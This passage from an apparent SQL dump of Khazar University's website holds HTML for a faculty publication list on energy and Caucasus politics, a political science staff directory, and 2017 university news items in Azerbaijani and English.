Power, or Smart Power?”,Strategic Outlook, 2013. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-energy-in-russian-foreign-policy--soft-power-hard-power-or-smart-power.html#.UTueJ-uzP64.facebook\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Запад скорее столкнется с интересами Евразийского Союза, чем России”, USGAM, 2013. <a href=\"http://www.usgam.com/ru/index.php?l=807&amp;cid=117&amp;konu=10&amp;bolge=0#.UPmh1ygJ5CB.facebook\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Energy Security Dimension in Foreign Policy”, Strategic Outlook, 2013. <a href=\"http://www.strategicoutlook.org/philosophy/news-energy-security-dimension-in-foreign-policy.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Whether Nagorno-Karabakh Factor is A Challenge or An Advantage in Energy Policy?”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/caucasus/news-whether-nagorno-karabakh-factor-is-a-challenge-or-an-advantage-in-energy-policy.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The New Trends in Russian Energy Policy following Third Presidency of Putin”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-the-new-trends-in-russian-energy-policy-following-third-presidency-of-putin.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“How can the South Caucasus countries achieve regional integration and security?”, Newcaucasus.com, 2012. <a href=\"http://newcaucasus.com/index.php?newsid=6052\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The Arctic New Venue of Geopolitical Wars?”, Cesran International, 2012. <a href=\"http://cesran.org/index.php?option=com_content&amp;view=article&amp;id=1512:the-arctic-venue-of-geopolitical-wars-&amp;catid=58:makale-ve-raporlar&amp;Itemid=99&amp;lang=en\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Western Clouds are Looming on Gazprom’s Horizon: Does History Work against Russia?”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-western-clouds-are-looming-on-gazprom%E2%80%99s-horizon--does-history-work-against-russia.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“National Security Priorities of Russia in the Context of Energy Security”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-national-security-priorities-of-russia-in-the-context-of-energy-security.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Importance of Energy in the Economy of Russian Federation”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-importance-of-energy-in-the-economy-of-russian-federation.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Does Ukraine Stand a Chance in TANAP?”, Atlantic Community, 2012. <a href=\"http://www.atlantic-community.org/-/does-ukraine-stand-a-chance-in-tanap-\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“TANAP Puzzle: What stands in the ‘Backstage of TANAP’?” <a href=\"KafkasSAM, 2012, http://www.kafkassam.net/?act=news_body&amp;id=6405&amp;lang=1&amp;c_id=9&amp;title=TANAP%20Puzzle:%20What%20stands%20in%20the%20%E2%80%9CBackstage%20of%20TANAP%E2%80%9D?\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Trans-Anatolian Gas Pipeline: ‘Deal of the Century-2’”, Today’s Zaman, 2012. <a href=\"http://www.todayszaman.com/news-286675-trans-anatolian-gas-pipeline-deal-of-the-century--2.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“The Politics of Pipeline Diplomacy and Energy Security”, Atlantic Community, 2012. <a href=\"http://www.atlantic-community.org/app/index.php/Open_Think_Tank_Article/The_Politics_of_Pipeline_Diplomacy_and_Energy_Security\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“TAPI or IPI?: Second NABUCCO Disease?”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-tapi-or-ipi-second-nabucco-disease.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“How to survive in South Caucasian Strategic Games: Azerbaijani Diplomacy”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/caucasus/news-how-to-survive-in-south-caucasian-strategic-games--azerbaijani-diplomacy.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“SOCAR – Energy Giant of the Republic of Azerbaijan: Gazprom Case”, Caspian Weekly, 2012. <a href=\"http://en.caspianweekly.org/component/content/article/41-articles/4140-socar--energy-giant-of-the-republic-of-azerbaijan-gasprom-case.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“Hazar Havzasında Stratejik Oyunlar: Hukuki Statü Sorunu Ve Uluslararası Enerji Politiği”, Journal of Turan Center for Strategic Studies, Volume 3, Number 12, 2011. <a href=\"http://www.turansam.org/TURAN-SAM_12.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“İran Nükleer Programı”, Book of 9th International Congress of Social Sciences of Turkish World, Turkey, Istanbul, 2011, page 314-325.</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">Tural Əhmədov</strong></p><p style=\"text-align:justify\">A New Paradigm? Prospects and Challenges for US Global Leadership, December 2012,&nbsp;Turkey. Global Political Trends. <a href=\"http://gpotcenter.org/dosyalar/PB35_2012_USleadership_Ahmadov.pdf\">Məqaləni oxu</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">Bəxtiyar Aslanov</strong></p>\r\n<p style=\"text-align:justify\">Khojaly: How and when will justice be realistically attained? <a href=\"http://www.todayszaman.com/op-ed_khojaly-how-and-when-will-justice-be-realistically-attained_373597.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align:justify\">Azerbaijan Claims It Downed Armenian Helicopter in Self Defense. <a href=\"http://www.cacianalyst.org/publications/field-reports/item/13104-azerbaijan-claims-it-downed-armenian-helicopter-in-self-defense.html\">Məqaləni oxu</a><strong></strong></p>\r\n<p style=\"text-align:justify\">Azerbaijan and Armenia Stockpile New Weapons. <a href=\"http://www.cacianalyst.org/publications/field-reports/item/12841-azerbaijan-and-armenia-stockpile-new-weapons.html\">Məqaləni oxu</a><strong></strong></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:normal\"=\"\">Spoilers in the game. <a href=\"http://www.life-peace.org/wp-content/uploads/New-Routes-3-2013.pdf\">Məqaləni oxu</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:normal\"=\"\">App-Gate and Azerbaijan\'s Presidential Election. <a href=\"http://www.cacianalyst.org/publications/field-reports/item/12832-app-gate-and-azerbaijans-presidential-election.html\">Məqaləni oxu</a></p>\r\n<p style=\"text-align:justify\">Azerbaijan Applies for PACE Resolution on The Sarsang Reservoir in Nagorno-Karabakh. <a href=\"http://www.cacianalyst.org/publications/field-reports/item/12801-azerbaijan-applies-for-pace-resolution-on-the-sarsang-reservoir-in-nagorno-karabakh.html\">Məqaləni oxu</a><strong></strong></p>\r\n<p style=\"text-align:justify\">Education As a Conflict Promoter: The Nagorno-Karabakh Example. <a href=\"http://caucasusedition.net/analysis/education-as-a-conflict-promoter-the-nagorno-karabakh-example/\">Məqaləni oxu<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong style=\"text-align:justify\">Fatma Ələkbərova</strong></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“Tracing the Family Tracing: Unaccompanied Child Migration From Albania To Italy”, Sarajevo, Bosnia And Herzegovina, Sarajevo CIPS Library.14.10.2014</p>\r\n<p>&nbsp;</p>'),(444,283,'az','İşçi heyəti','İşçi heyəti','<h3>İşçi heyəti<br></h3><p><a href=\"http://www.khazar.org/files/politics_depart/Elmar%20_CV.pdf\"><img src=\"/files/politics_depart/10286865_10153333046401421_4839060582034961181_o.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:223px\"></a><a href=\"http://www.khazar.org/files/politics_depart/Elmar%20_CV.pdf\"><strong>Elmar Mustafayev</strong></a></p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"http://elmar.mustafayev@khazar.org\">elmar.mustafayev[at]khazar.org</a>&nbsp; <br><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><img src=\"http://www.khazar.org/files/demo/14_04_10_Rashad.jpg\" style=\"border:0px  #000000;width:150px;height:180px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/pdf/Rashad_Huseynov_CV.pdf\"><strong>Dr. Rəşad Hüseynov</strong></a></p><p><br></p><p><a href=\"mailto:rhuseynov[at]khazar.org\"></a><strong>Əlaqə</strong>:&nbsp;<a href=\"http://rhuseynov[at]khazar.org\">rhuseynov[at]khazar.org</a></p><p><a href=\"mailto:elmar.mustafayev@khazar.org\"><br></a></p><p><a href=\"mailto:elmar.mustafayev@khazar.org\"><br></a></p><p><a href=\"mailto:elmar.mustafayev@khazar.org\"><br></a></p><p><a href=\"mailto:elmar.mustafayev@khazar.org\"><br></a></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><img src=\"http://www.khazar.org/files/politics_depart/Picture-Baba.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><a href=\"http://www.khazar.org/files/politics_depart/Baba_Bayramli_CV.pdf\"><strong>Baba Bayramlı</strong><br></a></p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"http://bbayramov[at]khazar.org\">bbayramov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/politics_depart/13775381_10208728898934065_1920759147293612908_n.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\"><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/Rashad%20Aghazada%20CV%20updated.pdf\">Dr. Rəşad Ağazadə</a></strong><strong><a href=\"http://www.khazar.org/files/politics_depart/CV_Rashad%20Agazada.output.pdf\"></a></strong></p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"http://rashad.Aghazada@khazar.org\">rashad.aghazada</a><a href=\"mailto:elmar.mustafayev@khazar.org\">[at]khazar.org</a>&nbsp;<strong></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><img src=\"/files/politics_depart/Photo%20(002).jpg\" style=\"border:0px  #000000;width:199px;height:138px;margin:7px;float:left\"></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/Bakhtiyar%20Badalov%20%20CV%20%20EN.pdf\">Bəxtiyar Bədəlov</a></strong></p><p><br></p><p><a href=\"http://www.khazar.org/files/politics_depart/Bakhtiyar%20Badalov%20%20CV%20%20EN.pdf\"></a><strong>Əlaqə</strong>:&nbsp;<a href=\"http://Bakhtiyar.Badalov@khazar.org\">Bakhtiyar.Badalov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><img src=\"/files/politics_depart/1936033_114559083499_2040486_n.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/ELSEVER%20MAMMADOV_CV.pdf\">Elsevər Məmmədov</a></strong>&nbsp;</p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"http://emammadov@khazar.org/\">emammadov[at]khazar.org</a> <br></p> <p><br></p><p><br></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><img src=\"http://www.khazar.org/files/pdf/picture%202.jpg\" style=\"border:0px  #000000;width:150px;height:194px;margin:7px;float:left\"><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/CV_Anar%20Rahimov.pdf\">Anar Rəhimov</a></strong></p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"http://arahimov[at]khazar.org\">arahimov[at]khazar.org</a></p><p><br></p><p><a href=\"mailto:elmar.mustafayev@khazar.org\"><br></a></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><img src=\"http://www.khazar.org/files/image/Zibar%20Huseynova_Photo.jpg\" style=\"border:0px #000000;width:199px;height:132px;margin:7px;float:left\"><p><br></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/Zibar%20Huseynova%20_CV.pdf\">Zibər Hüseynova</a></strong></p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"http://zibar.huseynova@khazar.org\">zibar.huseynova</a><a href=\"mailto:elmar.mustafayev@khazar.org\">[at]khazar.org<br></a></p><p><a href=\"mailto:elmar.mustafayev@khazar.org\"><br></a></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><img src=\"/files/politics_depart/749f9345-13ab-4fce-a18a-b38d21f5149c.jpg\" style=\"width:199px;height:150px;margin:7px;float:left\"><p><br></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/Ziya%20Mursalzade%20CV.pdf\">Ziya Mürsəlzadə</a></strong><a href=\"mailto:%20zmursalzada[at]khazar.org\"><br></a></p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"mailto:%20zmursalzada[at]khazar.org\">zmursalzada</a><a href=\"http://elmar.mustafayev@khazar.org\">[at]khazar.org</a><br></p><p><a href=\"mailto:elmar.mustafayev@khazar.org\"><br></a></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><img src=\"/files/politics_depart/Photo.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/Curriculum%20Vitae.pdf\">Ceyran Məmmədli</a></strong></p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"http://Jeyran.Mammadli@khazar.org\">Jeyran.Mammadli[at]khazar.org</a> <br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><img src=\"http://www.khazar.org/files/politics_depart/01906db.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\"></strong><a href=\"http://www.khazar.org/files/politics_depart/CV_Gunay%20Bayramova.doc\"></a><br<a href=\"http://www.khazar.org/files/politics_depart/CV_Gunay%20Bayramova.doc\"><p><br></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/CV_Gunay%20Bayramova.pdf\">Günay Bayramova</a></strong></p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"mailto:gbayramova@khazar.org\">gbayramova</a><a href=\"http://elmar.mustafayev@khazar.org\">[at]khazar.org</a></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/politics_depart/Image.png\" style=\"width:121px;height:150px;margin:7px;float:left\"><br></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/Aygul%20Ismayilova%20CV.pdf\">Aygül İsmayılova</a></strong></p><p><br></p><p>Əlaqə: <a href=\"http://aygul.ismayilova@khazar.org\">aygul.ismayilova[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"/files/politics_depart/34484504_10209469205766302_2236651953658527744_n.jpg\" style=\"width:150px;height:164px;margin:7px;float:left\"><br><p><a href=\"http://www.khazar.org/files/politics_depart/Cv_Gunay%20Mukhtarova.pdf\"><strong>Günay Muxtarova</strong></a></p><p><br></p><p><strong>Əlaqə:</strong> <a href=\"http://gunay.mukhtarova[at]khazar.org\">gunay.mukhtarova[at]khazar.org</a></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/politics_depart/Qk6W5_bQ.jpeg\" style=\"width:127px;height:150px;margin:7px;float:left\"><br></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/CV_Huseynov_Khazar.pdf\">Dr. Vasif Hüseynov</a></strong></p><p><br></p><p><strong>Əlaqə</strong><strong>:&nbsp;</strong><a href=\"http://vasif.huseynov@khazar.org\">vasif.huseynov[at]khazar.org</a>  </p><p><strong><br></strong></p><p><br></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/politics_depart/Rafiq.jpg\" style=\"width:132px;height:150px;margin:7px;float:left\"><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/politics_depart/CV%20Dr%20Rafig%20Rustamov.pdf\">Dr. Rafiq Rüstəmov</a></strong></p><p><strong><br></strong></p><p><strong>Əlaqə:&nbsp;</strong><a href=\"http://Rafig.Rustamov[at]khazar.org\">Rafig.Rustamov[at]khazar.org</a>  </p><p><strong><br></strong></p><p><br></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><img src=\"/files/politics_depart/img_Guljan.jpg\" style=\"width:156px;height:150px;margin:7px;float:left\"><br></strong><br><p><strong><a href=\"http://www.khazar.org/files/politics_depart/CV_Kulakhmet_eng(ph).pdf\">Gülcan Kulaxmet</a></strong></p><p><strong><br></strong></p><p><strong>Əlaqə: </strong><a href=\"http://gkulakhmet[at]khazar.org\">gkulakhmet[at]khazar.org</a></p><p><br></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><img src=\"/files/politics_depart/36279807_2352316261477111_5300870347782881280_n.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\"></strong><br><p><strong><a href=\"http://www.khazar.org/files/politics_depart/Tural%20Huseynli.pdf\">Tural Hüseynli</a></strong></p><p><strong><br></strong></p><p><strong>Əlaqə:&nbsp;</strong><a href=\"http://Tural.Huseynli[at]khazar.org\">Tural.Huseynli[at]khazar.org</a><strong></strong>  </p><div style=\"font-weight:bold\"><span style=\"font-weight:400\"><br></span></div><p><strong><br></strong></p><p><strong><br></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><a href=\"http://www.khazar.org/files/politics_depart/CV-Aygun%20Aliyeva.pdf\"><img src=\"/files/politics_depart/aygun_a.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:150px\"><strong>Aygün Əliyeva</strong></a></p><p><br></p><p><strong>Əlaqə</strong>:&nbsp;<a href=\"http://aaliyeva@khazar.org\">aaliyeva[at]khazar.org</a>   </p><p><br></p><p><br></p><p><br></p><p><br></p> </br<a>'),(4490,2660,'az','Xəzər Universiteti PhD və Magistr Birliyinin növbəti seminarı oldu','2017-ci il noyabrın 23-də Xəzər Universiteti PhD və Magistr Birliyi seminar təşkil etdi. Seminarın açılışını Xəzər Universitetinin Elmi işlər üzrə...','<p>2017-ci il noyabrın 23-də Xəzər Universiteti PhD və Magistr Birliyi seminar təşkil etdi. Seminarın açılışını Xəzər Universitetinin Elmi işlər üzrə prorektoru dosent İradə Xəlilova etdi. O, yeni PhD və magistr tələbələri tədqiqat seminarlarında aktiv iştirak etməyə çağırdı. Seminarda universitetin Magistratura, doktorantura və elmi işlər şöbəsinin müdiri Dr. Eldar Şahgəldiyev dissertasiya, tezis və elmi məqalələrin yazılması qaydaları ilə əlaqədar çıxış etdi.</p><p>Seminarın ikinci hissəsində Bioloji elmlər departamentinin müəllimi Dr. Babək Əlibəyov elmi jurnal və konfranslara təqdim edilən xülasələrin keyfiyyətli yazılması qaydaları haqqında praktiki və nəzəri bilikləri təqdim etdi. Seminarda gənc alimlər, PhD və magistr tələbələr iştirak edirdilər. Seminar maraqlı müzakirələr ilə bitdi. Sonda bu seminardan qazanılan nəzəri biliklərin növbəti seminarda praktiki olaraq tətbiq edilməsi və müxtəlif ixtisasdan olan tədqiqatçıların qısa xülasə ilə çıxış edərək, xülasələrin uyğun kriteriyalarla hərtərəfli müzakirə edilməsi qərara alındı. Bu zaman ədəbiyyat siyahısının yaradılması və bunun üçün EndNote proqramından praktiki olaraq istifadə edilməsi məsləhət görüldü.</p><p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs da seminarda iştirak edirdi.</p>'),(4481,2648,'en','Ambassador of Palestine Delivers a Lecture at Khazar University','On November 17, 2017, Ambassador Extraordinary and Plenipotentiary of Palestine to Azerbaijan Mr. Nasser Abdel Karem visited Khazar University...','<p>On November 17, 2017, Ambassador Extraordinary and Plenipotentiary of Palestine to Azerbaijan Mr. Nasser Abdel Karem visited Khazar University to deliver a lecture. This event was organized jointly by the International Affairs Office and the Department of Political Science and International Relations within the International Education Week (November 13-17, 2017) initiated and carried out by the International Affairs Office.</p><p>The event started with the meeting of Dr. Hassan Niknafs, Rector of Khazar University and the Ambassador. The meeting focused mainly on cooperation between the Embassy of Palestine in Azerbaijan and Khazar University. Director of International Relations Department Turan Jafarova, Coordinator of Political Science and International Relations Department Elmar Mustafayev and Assistant to the Ambassador Extraordinary and Plenipotentiary of Palestine in Azerbaijan attended the meeting as well.</p><p>Later, Ambassador Extraordinary and Plenipotentiary of Palestine to Azerbaijan, Mr. Nasser Abdel Karem, delivered a lecture on \"Review of Palestine\" for students of Political Science and International Relations Department. During the lecture, the students were briefed on the bilateral relations between Azerbaijan and Palestine and the situation in the Middle East. The meeting ended with a question-and-answer session headed by Elmar Mustafayev, Coordinator of Political Science and International Relations Department. Elkhan Kasimov, Assistant of International Office also took part in the meeting. Ambassador Nasser Abdel Karem expressed his gratitude to Khazar University administration for the invitation.</p>'),(4471,2651,'az','Xaricdə təhsil sessiyasi keçirildi','2017-ci il noyabrın 16-da Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsi tərəfindən təşkil olunan Beynəlxalq Təhsil Həftəsi çərçivəsində növbəti tədbir keçirildi...','<p>2017-ci il noyabrın 16-da Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsi tərəfindən təşkil olunan Beynəlxalq Təhsil Həftəsi çərçivəsində növbəti tədbir keçirildi. Tədbirdə EducationUSA və British Council təşkilatlarının nümayəndələri iştirak edirdilər.</p><p>Bu sessiyasını keçirməkdə əsas məqsəd ABŞ və Böyük Britaniyada tələbələr üçün mövcud olan təhsil imkanları, mübadilə proqramları haqqında ətraflı məlumat vermək və yaranan sualları cavablandırmaq idi.</p><p>Məlumat sessiyası iki hissədən ibarət oldu. Birinci hissədə EducationUSA təşkilatının nümayəndəsi Ramilə Verdiyeva Amerika universitetlərinə qəbul prosesi, tələblər və digər vacib məqamlar haqqında danışdı.</p><p>Məlumat sessiyasının ikinci hissəsində isə British Council təşkilatının nümayəndəsi Cavid Quliyev Böyük Britaniyada təhsil haqqında ümumi məlumat verdi və təşkilat tərəfindən həyata keçirilən və Britaniya universitetlərinə qəbul zamanı əsas şərtlərdən biri kimi tələb olunan IELTS beynəlxalq dil imtahanı haqqında geniş danışdı. Nümayəndə, həmçinin, təşkilatın həyata keçirdiyi digər professional imtahanlar haqqında da məlumat verdi.</p><p>Tədbirin sonunda hər iki təşkilatın təbliğat materialları paylanıldı. Tədbir sual-cavab sessiyası ilə sona çatdı.</p>'),(4472,2652,'az','Dillər və mədəniyyətlər departamentinin əməkdaşı Beynəlxalq konqresdə','2017-ci il noyabrın 16-dan 18-dək Xəzər Universiteti Dillər və mədəniyyətlər departamentinin dosenti i.f.d. Elnurə Əzizova İstanbul Universitetinin...','<p>2017-ci il noyabrın 16-dan 18-dək Xəzər Universiteti Dillər və mədəniyyətlər departamentinin dosenti i.f.d. Elnurə Əzizova İstanbul Universitetinin təşkilatçılığı ilə tərtib olunmuş “Ali din təhsili” adlı beynəlxalq konqresdə iştirak etdi. Dosent Əzizova konqresdə “Dünyəvi dövlətdə alternativ ali din təhsili modelləri: Post-Sovet Azərbaycanında ali din təhsili qurumlarının inkişaf prosesi” (<em>Alternative higher religious education models in secular state: Historical development of higher religious education institutions in post-soviet Azerbaijan</em>) adlı məruzə ilə çıxış etdi.</p>'),(4473,2653,'az','Dillər və mədəniyyətlər departamentinin əməkdaşları Beynəlxalq simpoziumda','2017-ci il oktyabrın 5-dən 7-dək Xəzər Universiteti Dillər və mədəniyyətlər departamentinin koordinatoru dosent Zivər Hüseynli-Baylan və departamentin...','<p>2017-ci il oktyabrın 5-dən 7-dək Xəzər Universiteti Dillər və mədəniyyətlər departamentinin koordinatoru dosent Zivər Hüseynli-Baylan və departamentin dosenti i.f.d. Elnurə Əzizova Türkiyənin Kırşehir şəhərində yerləşən Ahi Evran Universitetinin təşkil etdiyi III Beynəlxalq Ahilik simpoziumunda iştirak etdilər. Dosent Zivər Hüseynli-Baylan “Farsca yazılmış Ahilik mətnləri: Fütüvvətnamə və Risalə-yi Civanmərdan” (<em>Persian manuscripts about Futuvva: Futuvvatnama and Risala Civanmarda</em>n), dosent Elnurə Əzizova “Peşələr müqəddəsdir: İlk dövr “Kəsb” ədəbiyyatının Fütüvvət qurumlarının təşəkkülünə təsir edən dini hərəkətvericilər” (<em>Occupations are Sacred: The Religious Dynamics Constitute the Basis for the Early al-Futuvva Organizations within the context of the Early “al-Kasb” Literature</em>) adlı məruzə ilə çıxış etdilər.</p>'),(4474,2654,'az','Coğrafiya və ətraf mühit departamentinin əməkdaşları məktəbə kitab bağışladılar','2017-ci il noyabrın 18-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin əməkdaşları Ramana qəsəbəsində yerləşən 78 saylı orta məktəbdə...','<p>2017-ci il noyabrın 18-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin əməkdaşları Ramana qəsəbəsində yerləşən 78 saylı orta məktəbdə oldular və şagirdlərə “Təhsil sistemində fəlakət riskinin azaldılması” kitabını hədiyyə etdilər. Qeyd edək ki, kitab UNICEF və departament əməkdaşları tərəfindən birgə hazırlanmışdır.</p>'),(4870,2458,'en','Khazar University Publications at V Baku International Book Exhibition-Fair','There was an opening ceremony of V Baku International Book Exhibition-Fair on September 28, 2017. Staff members of Library...','<p>There was an opening ceremony of V Baku International Book Exhibition-Fair on September 28, 2017. Staff members of Library-Information Centre of Khazar University demonstrated publications of university at the fair. Moreover, they gave detailed information about the university and presented gifts to visitors.</p><p>The main aim of the fair was to increase people’s interest in reading, make readers familiar with local and international publications, and build relations between local and international publication houses. The fair lasted three days.</p>'),(4181,2456,'az','İngilis dili və ədəbiyyatı departamentində magistr müdafiəsi oldu','2017-ci il sentyabrın 27-də Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin magistr tələbəsi Svetlana İsayeva...','<p>2017-ci il sentyabrın 27-də Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin magistr tələbəsi Svetlana İsayeva “İngilis dilində növ kateqoriyası və onun linqvistik cəhətləri” mövzusunda dissertasiya işinin müdafiəsi keçirildi.</p><p>Müdafiə Şura üzvləri olaraq, f.ü.f.d. İrina Orucova, f.ü.f.d. Eldar Şahgəldiyev, İngilis dili və ədəbiyyatı departamentinin müdiri Eynur Mehdiyev, departamentin müəllimləri İlham Tağıyev, Xanım Əhmədova, Elmira Əliyeva və Milana Abasova iştirak edirdilər.</p><p>S.İsayeva dissertasiyanın təqdimatından sonra şura üzvlərinin suallarını cavablandırdı. Yekunda şura üzvlərinin rəyi ilə Svetlana İsayevaya magistr dərəcəsi verilməsi qərara alındı.</p><p><br></p>'),(4182,2456,'en','Master thesis defence at English language and Literature Department','On September 27, 2017, Svetlana Isayeva, the Master student of the School of Humanities and Social Sciences...','<p>On September 27, 2017, Svetlana Isayeva, the Master student of the School of Humanities and Social Sciences, defended her Master’s thesis on&nbsp;<strong>“English Category of Voice and its Linguistic Features”&nbsp;</strong>at English language and Literature Department.</p><p>The defence committee included Dr Irina Orujova, Dr. Eldar Shahgaldiyev, Eynur Mehdiyev, vice chair of the department, instructors - Ilham Taghiyev, Milana Abbasova, Khanim Ahmadova and Elmira Aliyeva.</p><p>During the defense, Svetlana Isayeva gave thorough information about her research and answered the questions. She successfully defended her thesis and was awarded a Master’s degree.</p>'),(4183,2443,'en','StartUp project competition starts at Khazar University','StartUp project competition starts at Khazar University. All the students of the university are welcome to...','<div><strong><img src=\"/files/letters/idea_poster_eng_sm.jpg\" style=\"float:left;width:400px;height:563px;margin-right:8px;margin-bottom:8px\"><span style=\"font-size:medium\">StartUp </span></strong><span style=\"font-size:medium\">project competition starts at Khazar University. All the students of the university are welcome to participate. Those who take a place in the competition will be awarded.</span></div><div style=\"font-size:medium\"><br></div><div style=\"font-size:medium\">Those who are willing to participate must apply no later than October 23, 2017. Proposals should be sent electronically to this e-mail: <a 